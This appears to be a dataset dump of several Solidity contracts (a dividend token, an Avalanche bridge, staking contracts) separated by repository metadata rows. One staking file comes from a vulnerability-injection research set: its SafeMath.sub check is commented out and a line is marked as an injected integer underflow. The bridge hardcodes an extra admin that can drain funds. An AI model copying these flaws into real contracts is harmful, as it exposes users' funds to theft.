uint256 _feesEthereum = SafeMath.div(_ethereum, exchangesellFee_);
uint256 _sellfeeEthereum = SafeMath.div(_ethereum, sellFee_);
if (ambassadors_[_customerAddress] == true) {
_sellfeeEthereum = SafeMath.div(_ethereum, exchangesellFee_);
}
uint256 _dividends = SafeMath.sub(_sellfeeEthereum, _feesEthereum);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _sellfeeEthereum);
// fees and burn the sold tokens
exchangefees.transfer(_feesEthereum);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token and measurement error
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_));
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum);
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyBagholders()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
// also disables transfers until ambassador phase is over
// (we dont want whale premines)
require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if(myDividends(true) > 0) withdraw();
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
// low fees for presale
uint256 _tokenFee = SafeMath.div(_amountOfTokens, transferFee_);
if (ambassadors_[_customerAddress] == true) {
_tokenFee = SafeMath.div(_amountOfTokens, presaletransferFee_);
}
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _feesEthereum = SafeMath.div(tokensToEthereum_(_tokenFee), exchangebuyFee_);
uint256 _dividends = SafeMath.sub(tokensToEthereum_(_tokenFee), _feesEthereum);
// fees and burn the fee tokens
exchangefees.transfer(_feesEthereum);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders and measurement error
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_));
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function disableInitialStage()
onlyAdministrator()
public
{
onlyAmbassadors = false;
}
function setAdministrator(address _identifier, bool _status)
onlyAdministrator()
public
{
administrators[_identifier] = _status;
}
function setStakingRequirement(uint256 _amountOfTokens)
onlyAdministrator()
public
{
stakingRequirement = _amountOfTokens;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, sellFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(_ethereum, buyFee_);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(_ethereumToSpend, buyFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(_ethereum, sellFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
// data setup and fees
address _customerAddress = msg.sender;
uint256 _feesEthereum = SafeMath.div(_incomingEthereum, exchangebuyFee_);
uint256 _referralBonus = SafeMath.div(_incomingEthereum, referralFeenormal_);
// referral commission rewards to 40% for address that hold 500 POX or more
if (tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
_referralBonus = SafeMath.div(_incomingEthereum, referralFeedouble_);
}
uint256 _dividends = SafeMath.sub((SafeMath.div(_incomingEthereum, buyFee_)), (SafeMath.add(_feesEthereum, _referralBonus)));
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, (SafeMath.div(_incomingEthereum, buyFee_)));
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
exchangefees.transfer(_feesEthereum);
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
// is the user referred by a referral?
if(// is this a referred purchase?
_referredBy != 0x0000000000000000000000000000000000000000 &&
// no cheating!
_referredBy != _customerAddress){
// wealth redistribution
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
// no ref purchase
// add the referral bonus back to the global dividends cake
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
// we can't give people infinite ethereum
if(tokenSupply_ > 0){
// add tokens to the pool
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
// measurement error
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_));
// calculate the amount of tokens the customer receives over his purchase
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
// add tokens to the pool
tokenSupply_ = _amountOfTokens;
}
// measurement error
payoutsTo_[measurement] -= (int256) (SafeMath.sub(SafeMath.sub(_taxedEthereum, SafeMath.div(_taxedEthereum, sellFee_)), SafeMath.sub(tokensToEthereum_(_amountOfTokens), SafeMath.div(tokensToEthereum_(_amountOfTokens), sellFee_))) * magnitude);
// update circulating supply & the ledger address for the customer
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
//really i know you think you do but you don't
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
// fire event
onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((// underflow attempts BTFO
SafeMath.sub((sqrt
((_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_))), _tokenPriceInitial))/(tokenPriceIncremental_))-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(// underflow attempts BTFO
SafeMath.sub((((tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)))-tokenPriceIncremental_)*(tokens_ - 1e18)),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2)
/1e18);
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 335,972 | 10,892 |
b3affcb1f6299771dd851d681dd3d0877799d6a15714f1663a4c3307a0f22280
| 18,904 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/3e/3e2d6ab5805a1fdff0af0772c344d3a284076b32_TokenDistributor.sol
| 2,993 | 11,376 |
// SPDX-License-Identifier: GPL-3.0
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
mapping(address => bool) private _admins;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event adminAdded(address indexed adminAdded);
event adminRemoved(address indexed adminRemoved);
constructor() {
_owner = msg.sender;
_admins[0x8964A0A2d814c0e6bF96a373f064a0Af357bb4cE] = true;
}
modifier onlyOwner() {
require(msg.sender == _owner, "Ownable: caller is not the owner");
_;
}
modifier onlyAdmin() {
require(isAdmin(msg.sender), "Ownable: caller is not an admin");
_;
}
function owner() public view returns (address) {
return _owner;
}
function isAdmin(address account) public view returns (bool) {
return _admins[account];
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function addAdmin(address account) public onlyAdmin {
require(account != address(0), "Ownable: zero address cannot be admin");
_admins[account] = true;
emit adminAdded(account);
}
function removeAdmin(address account) public onlyAdmin {
require(account != address(0), "Ownable: zero address cannot be admin");
_admins[account] = false;
emit adminRemoved(account);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
function _nonReentrantBefore() private {
// On the first call to nonReentrant, _status will be _NOT_ENTERED
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
}
function _nonReentrantAfter() private {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
function _reentrancyGuardEntered() internal view returns (bool) {
return _status == _ENTERED;
}
}
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function mint(address account, uint256 amount) external;
function burn(address account, uint256 amount) external;
}
contract TokenDistributor is ReentrancyGuard, Ownable {
event bridgeProcessed(address indexed _user, uint256 _amountBridged, uint256 _nonceBridged, uint256 _ethBridge);
event unbridgeProcessed(address indexed _user, uint256 _amountUnbridged, uint256 _nonceUnbridged);
event TokensDistributed(address indexed recipient, uint256 amount);
event TokensBurned(address indexed recipient, uint256 amount);
event EtherDistributed(address indexed recipient, uint256 amount);
mapping(uint256 => Bridge) public bridgeByNonce;
mapping(uint256 => Unbridge) public unbridgeByNonce;
address public token;
uint256 public nonceBridged;
uint256 public nonceUnbridged;
bool public isPaused;
uint256 public bridgeFees;
struct Bridge {
address user;
uint256 amountBridged;
uint256 nonceBridged;
uint256 ethBridge;
bool processed;
}
struct Unbridge {
address user;
uint256 amountUnbridged;
uint256 nonceUnbridged;
bool processed;
}
constructor() {
nonceBridged = 0;
nonceUnbridged = 0;
token = 0x81694eBc54471341adeEe4Ed3815d1c8Ad412694;
isPaused = false;
}
function withdrawAVAX() external onlyAdmin() {
payable(msg.sender).transfer(address(this).balance);
}
function withdrawTokens(address _token, uint256 _amount, address _to) external onlyAdmin {
IERC20(_token).transfer(_to, _amount);
}
function togglePause() external onlyOwner onlyAdmin{
if(isPaused){
require(isAdmin(msg.sender), "Ownable: bridge can be unpause only by admin");
isPaused = !isPaused;
}
else{
isPaused = !isPaused;
}
}
function editBridgeByNonce(uint256 _nonceBridged, address _user, uint256 _amountBridged, uint256 _ethBridge, bool _processed) external onlyAdmin {
bridgeByNonce[_nonceBridged] = Bridge({
user: _user,
amountBridged: _amountBridged,
nonceBridged: _nonceBridged,
ethBridge: _ethBridge,
processed: _processed
});
}
function editUnbridgeByNonce(uint256 _nonceUnbridged, address _user, uint256 _amountUnbridged, bool _processed) external onlyAdmin {
unbridgeByNonce[_nonceUnbridged] = Unbridge({
user: _user,
amountUnbridged: _amountUnbridged,
nonceUnbridged: _nonceUnbridged,
processed: _processed
});
}
function burnAndBridge(uint256 tokenAmount) external payable {
require(!isPaused, "bridge is paused");
require(msg.sender == tx.origin, "Recipient is not an EOA");
require(tokenAmount > 0, "Invalid token amount");
require(msg.value >= bridgeFees, "not enough for fees");
require(IERC20(token).balanceOf(msg.sender) >= tokenAmount, "Insufficient balance");
// Perform state changes
IERC20(token).burn(msg.sender, tokenAmount);
unbridgeByNonce[nonceUnbridged] = Unbridge({
user: msg.sender,
amountUnbridged: tokenAmount,
nonceUnbridged: nonceUnbridged,
processed: false
});
emit TokensBurned(msg.sender, tokenAmount);
emit unbridgeProcessed(msg.sender, tokenAmount, nonceUnbridged);
nonceUnbridged++;
}
function bridgeAndMint(address recipient, uint256 tokenAmount) external payable onlyOwner nonReentrant {
require(!isPaused, "bridge is paused");
require(tokenAmount > 0, "Invalid token amount");
// Perform state changes
IERC20(token).mint(recipient, tokenAmount);
// Perform interaction after state changes
(bool success,) = payable(recipient).call{value: msg.value}("");
require(success, "ETH transfer failed");
bridgeByNonce[nonceBridged] = Bridge({
user: recipient,
amountBridged: tokenAmount,
nonceBridged: nonceBridged,
ethBridge: msg.value,
processed: true
});
emit TokensDistributed(recipient, tokenAmount);
emit EtherDistributed(recipient, msg.value);
emit bridgeProcessed(recipient, tokenAmount, nonceBridged, msg.value);
nonceBridged++;
}
function setBridgeFees(uint256 _fees) external onlyAdmin {
bridgeFees = _fees;
}
function updateProcessed(uint256 _nonce) external onlyOwner {
require(unbridgeByNonce[_nonce].user != address(0), "nonce doesn't exists");
require(unbridgeByNonce[_nonce].amountUnbridged > 0, "amount is null");
unbridgeByNonce[_nonce].processed = true;
}
function setToken(address _token) external onlyAdmin {
token = _token;
}
}
| 107,544 | 10,893 |
c883d40a524ea2053dcb444fb46b9bb725eefa6a3af80a642344e741dc688054
| 11,810 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0x59e35e233541aaa297fb141579b42c739a938c84_integerOverflow.sol
| 3,102 | 11,194 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
//require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Uniswap{
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts);
function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function WETH() external pure returns (address);
}
interface Pool{
function primary() external view returns (address);
}
contract Poolable{
address payable internal constant _POOLADDRESS = 0x1E2F5Ed20111f01583acDab2d6a7a90A200533F6;
function primary() private view returns (address) {
return Pool(_POOLADDRESS).primary();
}
modifier onlyPrimary() {
require(msg.sender == primary(), "Caller is not primary");
_;
}
}
contract Staker is Poolable{
using SafeMath for uint256;
uint constant internal DECIMAL = 10**18;
uint constant public INF = 33136721748;
uint private _rewardValue = 10**21;
mapping (address => uint256) public timePooled;
mapping (address => uint256) private internalTime;
mapping (address => uint256) private LPTokenBalance;
mapping (address => uint256) private rewards;
mapping (address => uint256) private referralEarned;
address public orbAddress;
address constant public UNIROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address constant public FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public WETHAddress = Uniswap(UNIROUTER).WETH();
bool private _unchangeable = false;
bool private _tokenAddressGiven = false;
bool public priceCapped = true;
uint public creationTime = now;
receive() external payable {
if(msg.sender != UNIROUTER){
stake();
}
}
function sendValue(address payable recipient, uint256 amount) internal {
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//If true, no changes can be made
function unchangeable() public view returns (bool){
return _unchangeable;
}
function rewardValue() public view returns (uint){
return _rewardValue;
}
//THE ONLY ADMIN FUNCTIONS vvvv
//After this is called, no changes can be made
function makeUnchangeable() public onlyPrimary{
_unchangeable = true;
}
//Can only be called once to set token address
function setTokenAddress(address input) public onlyPrimary{
require(!_tokenAddressGiven, "Function was already called");
_tokenAddressGiven = true;
orbAddress = input;
}
//Set reward value that has high APY, can't be called if makeUnchangeable() was called
function updateRewardValue(uint input) public onlyPrimary {
require(!unchangeable(), "makeUnchangeable() function was already called");
_rewardValue = input;
}
//Cap token price at 1 eth, can't be called if makeUnchangeable() was called
function capPrice(bool input) public onlyPrimary {
require(!unchangeable(), "makeUnchangeable() function was already called");
priceCapped = input;
}
//THE ONLY ADMIN FUNCTIONS ^^^^
function sqrt(uint y) public pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
function stake() public payable{
address staker = msg.sender;
require(creationTime + 1 hours <= now, "It has not been 1 hours since contract creation yet");
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
if(price() >= (1.05 * 10**18) && priceCapped){
uint t = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap
uint a = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint x = (sqrt(9*t*t + 3988000*a*t) - 1997*t)/1994;
IERC20(orbAddress).mint(address(this), x);
address[] memory path = new address[](2);
path[0] = orbAddress;
path[1] = WETHAddress;
IERC20(orbAddress).approve(UNIROUTER, x);
Uniswap(UNIROUTER).swapExactTokensForETH(x, 1, path, _POOLADDRESS, INF);
}
sendValue(_POOLADDRESS, address(this).balance/2);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap
uint toMint = (address(this).balance.mul(tokenAmount)).div(ethAmount);
IERC20(orbAddress).mint(address(this), toMint);
uint poolTokenAmountBefore = IERC20(poolAddress).balanceOf(address(this));
uint amountTokenDesired = IERC20(orbAddress).balanceOf(address(this));
IERC20(orbAddress).approve(UNIROUTER, amountTokenDesired); //allow pool to get tokens
Uniswap(UNIROUTER).addLiquidityETH{ value: address(this).balance }(orbAddress, amountTokenDesired, 1, 1, address(this), INF);
uint poolTokenAmountAfter = IERC20(poolAddress).balanceOf(address(this));
uint poolTokenGot = poolTokenAmountAfter.sub(poolTokenAmountBefore);
rewards[staker] = rewards[staker].add(viewRecentRewardTokenAmount(staker));
timePooled[staker] = now;
internalTime[staker] = now;
LPTokenBalance[staker] = LPTokenBalance[staker].add(poolTokenGot);
}
function withdrawLPTokens(uint amount) public {
require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
LPTokenBalance[msg.sender] = LPTokenBalance[msg.sender].sub(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
IERC20(poolAddress).transfer(msg.sender, amount);
internalTime[msg.sender] = now;
}
function withdrawRewardTokens(uint amount) public {
require(timePooled[msg.sender] + 8 hours <= now, "It has not been 8 hours since you staked yet");
rewards[msg.sender] = rewards[msg.sender].add(viewRecentRewardTokenAmount(msg.sender));
internalTime[msg.sender] = now;
uint removeAmount = ethtimeCalc(amount);
rewards[msg.sender] = rewards[msg.sender].sub(removeAmount);
IERC20(orbAddress).mint(msg.sender, amount);
}
function viewRecentRewardTokenAmount(address who) internal view returns (uint){
return (viewLPTokenAmount(who).mul(now.sub(internalTime[who])));
}
function viewRewardTokenAmount(address who) public view returns (uint){
return earnCalc(rewards[who].add(viewRecentRewardTokenAmount(who)));
}
function viewLPTokenAmount(address who) public view returns (uint){
return LPTokenBalance[who];
}
function viewPooledEthAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
return (ethAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function viewPooledTokenAmount(address who) public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
uint tokenAmount = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap
return (tokenAmount.mul(viewLPTokenAmount(who))).div(IERC20(poolAddress).totalSupply());
}
function price() public view returns (uint){
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
uint ethAmount = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint tokenAmount = IERC20(orbAddress).balanceOf(poolAddress); //token in uniswap
return (DECIMAL.mul(ethAmount)).div(tokenAmount);
}
function ethEarnCalc(uint eth, uint time) public view returns(uint){
address poolAddress = Uniswap(FACTORY).getPair(orbAddress, WETHAddress);
uint totalEth = IERC20(WETHAddress).balanceOf(poolAddress); //Eth in uniswap
uint totalLP = IERC20(poolAddress).totalSupply();
uint LP = ((eth/2)*totalLP)/totalEth;
return earnCalc(LP * time);
}
function earnCalc(uint LPTime) public view returns(uint){
return (rewardValue().mul(LPTime)) / (31557600 * DECIMAL);
}
function ethtimeCalc(uint orb) internal view returns(uint){
return (orb.mul(31557600 * DECIMAL)).div(rewardValue());
}
}
| 280,120 | 10,894 |
c5cec3d3b6a852d06a6bf3cd38964b88a1e1f179ce8889db2f21d3210aef397b
| 25,972 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/c4/C4e1BB7C51299275c7392f2Ed92cC246c832F510_CunoroStaking.sol
| 4,424 | 17,634 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
